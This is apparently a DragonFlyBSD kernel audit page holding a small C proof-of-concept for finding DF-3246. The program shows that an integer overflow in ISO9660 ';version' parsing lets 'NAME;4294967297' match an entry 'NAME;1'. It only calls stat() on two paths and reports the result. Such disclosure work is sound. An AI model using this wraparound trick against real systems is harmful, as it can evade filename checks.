⬢ DragonFlyBSD Kernel Audit
DF-3246 / df3246.c
← back to finding ↓ download raw
/* DF-3246: isofncmp signed-int overflow in ';version' parse lets
 * lookup("NAME;4294967297") match an image entry "NAME;1" (i wraps mod 2^32). */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
    /* argv[1] = mountpoint, argv[2] = basename stored as NAME;1 */
    char path[1024], base[256];
    snprintf(base, sizeof(base), "%s", argv[2]);
    /* strip any existing ;N */
    char *semi = strchr(base, ';'); if (semi) *semi = 0;
    snprintf(path, sizeof(path), "%s/%s;1", argv[1], base);
    struct stat st;
    printf("stat(%s)        -> ", path);
    fflush(stdout);
    if (stat(path, &st) == 0) printf("OK\n"); else printf("FAIL (%s)\n", strerror(errno));
    snprintf(path, sizeof(path), "%s/%s;4294967297", argv[1], base);
    printf("stat(%s) -> ", path);
    fflush(stdout);
    if (stat(path, &st) == 0) { printf("OK  <-- BUG: matched NAME;1 via int wrap\n"); return 2; }
    printf("FAIL (%s)\n", strerror(errno));
    return 0;
}